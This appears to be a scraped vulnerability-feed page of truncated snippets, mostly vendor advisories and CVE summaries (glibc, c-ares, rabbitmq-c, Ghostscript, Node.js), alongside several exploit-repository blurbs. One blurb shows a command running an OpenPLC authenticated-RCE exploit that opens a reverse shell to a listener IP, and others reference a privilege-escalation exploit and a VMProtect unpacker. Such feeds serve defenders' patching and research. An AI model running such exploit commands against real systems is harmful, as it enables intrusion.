AlmaLinux 9.6 [TuxCare] Security Update: python-unversioned-command / python3 / python3-debug / etc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1779886202)

The AlmaLinux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1779886202 advisory. - When using http.cookies.Morsel, user-controlled cookie values and parameters can allow injecting HTTP headers into messages. Patch...

SUSE CVE-2026-97399

The strncasecmp function in the GNU C Library 2.24 and later optimized for the Power8 architecture may read one byte beyond the input size limit, which may crash a program when that byte is not readable. This condition may happen when the input strings to the strncasecmp function are attacker...

EUVD-2026-89109

PX4 Autopilot through 1.17.0 contains an uncontrolled stack allocation vulnerability in the file2 test command that fails to validate the write chunk size parameter. Attackers with shell access can supply an excessively large value to the -c option to trigger stack overflow and crash the flight...

USN-8844-1: c-ares vulnerability

It was discovered that c-ares incorrectly handled certain query completion callbacks. An attacker could possibly use this issue to trigger a use- after-free or double-free, resulting in a denial of service or arbitrary code execution...

USN-8844-1 c-ares vulnerability

It was discovered that c-ares incorrectly handled certain query completion callbacks. An attacker could possibly use this issue to trigger a use- after-free or double-free, resulting in a denial of service or arbitrary code execution...

CVE-2026-31431_exp.c

cve-2016-31431exp.c 由于这个cve的官方没有给出c的代码，所以这里我们补充一个该漏洞的c代码的提权版本...

Security Bulletin: IBM Documentation Offline may be vulnerable to TLS authentication bypass and authority rebinding due to Node.js (CVE-2026-48618, CVE-2026-48930)

Summary IBM Documentation Offline uses Node.js as its runtime environment. Node.js is affected by two vulnerabilities related to TLS hostname handling. CVE-2026-48618 involves improper handling of Unicode dot separators during TLS certificate verification, which could allow an attacker performing...

CVE-2026-19547

Ghostscript for Windows is vulnerable to local privilege escalation through PostScript resource file hijacking. Due to the application searching for PostScript resource files in predictable paths under C:\gs\ that do not exist by default on Windows installations, combined with Windows default...

CVE-2026-19547

Ghostscript for Windows is vulnerable to local privilege escalation via PostScript resource file hijacking. The application searches for files in predictable paths under **C:\gs*, which do not exist by default. Because Windows default ACLs allow authenticated users to create directories at the ro...

CVE-2026-19547 Local Privilege Escalation in Ghostscript for Windows

Ghostscript for Windows is vulnerable to local privilege escalation through PostScript resource file hijacking. Due to the application searching for PostScript resource files in predictable paths under C:\gs\ that do not exist by default on Windows installations, combined with Windows default...

ROOT-OS-ALPINE-320-CVE-2025-31498 CVE-2025-31498 in c-ares - Patched by Root

Root has patched CVE-2025-31498 in the c-ares package for Root:Alpine:3.20. Multiple fixed versions available...

ROOT-OS-ALPINE-320-CVE-2026-33630 CVE-2026-33630 in c-ares - Patched by Root

Root has patched CVE-2026-33630 in the c-ares package for Root:Alpine:3.20. Multiple fixed versions available...

ROOT-OS-ALPINE-318-CVE-2023-35789 CVE-2023-35789 in rabbitmq-c - Patched by Root

Root has patched CVE-2023-35789 in the rabbitmq-c package for Root:Alpine:3.18. Multiple fixed versions available...

BIT-RABBITMQ-C-2026-44236 rabbitmq-c: Heap buffer overflow in AMQP login handshake via undersized connection.tune.frame_max

rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized connection.tune.framemax value during amqplogin, and rabbitmq-c accepts the value in amqplogininner in librabbitmq/amqpsocket.c. amqptuneconnection in...

BIT-RABBITMQ-C-2026-44235 rabbitmq-c: size_t underflow in AMQP frame length computation leads to out-of-bounds read

rabbitmq-c is a C-language AMQP client library for RabbitMQ. Prior to 0.16.0, a malicious AMQP server can send an undersized HEADER or METHOD frame during client login and cause unsigned sizet underflow in amqphandleinput in librabbitmq/amqpconnection.c. The parser subtracts HEADERSIZE, fixed...

BIT-GDAL-2026-4738 GDAL Bundled zlib (inftree9.c) Pointer Offset Optimization Undefined Behavior Allows Heap Corruption or Remote Code Execution

Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in OSGeo gdal frmts/zlib/contrib/infback9 modules. This vulnerability is associated with program files inftree9.C‎. This issue affects gdal: before 3.11.0...

CVE-2021-31630

OpenPLC WebServer v3 - 认证 RCE CVE-2021-31630 此漏洞利用基于 Exploit-DB 上由 Fellipe Oliveira 制作的漏洞利用。 首先，进行身份认证 上传恶意 C 文件 编译它 启动 PLC（发起反向Shell） 停止 PLC（无需运行，反向Shell已发起） └─ python3 customexploit.py --url http://10.10.11.7:8080 --username openplc --password openplc --listenerip 10.10.16.4 --listenerport 8888...

VMUnprotect.Dumper

VMUnprotect.Dumper VMUnprotect.Dumper 是一个致力于查找被篡改的 VMProtect 程序集 的项目。它利用 AsmResolver 来动态解包 VMP 保护的程序集。适用于 VMProtect 3.7.0（最新版）及之前的几个版本。 使用 VMUnprotect.Dumper 之前 使用 VMUnprotect.Dumper 之后 使用方法 VMUnprotect.Dumper.exe example.vmp.exe 如果目标应用程序使用不同的框架，它可能无法工作。请根据你的需求自行编译。 另请参阅： VMUnprotect - VMUnprotec...

CVE-2020-8277

CVE-2020-8277 仅用于教育目的。 快速运行 clone this repository $ git clone https://github.com/masahiro331/CVE-2020-8277 run bind $ docker build -t bind-local ./bind Need TCP fallback $ docker run --rm --name bind -it -p 53:53 -p 53:53/udp bind use " v15.2.1" version If you use fixed version, build node. $ git...

rats-re

使用本地 LLM 重建 Rats! 源代码 本仓库是对 RATS.EXE 源代码的进行中重建项目，RATS.EXE 是 Sean O'Connor 的 Rats!（1994）的原始 Windows 版本。它使用 Microsoft Visual C++ 4.1 在 wibo 下构建 Win32 可执行文件，并可在 DREAMM 中进行测试。 该实验旨在探索在小型但真实的代码库（而非玩具示例）上，本地 LLM 能将源代码重建推进到何种程度。匹配保真度仍然参差不齐，而这在此处是有益的：目标是呈现该过程及其当前局限性的真实图景，而不是隐藏棘手的函数。 函数重建仅限于本地 LLM。Codex 和...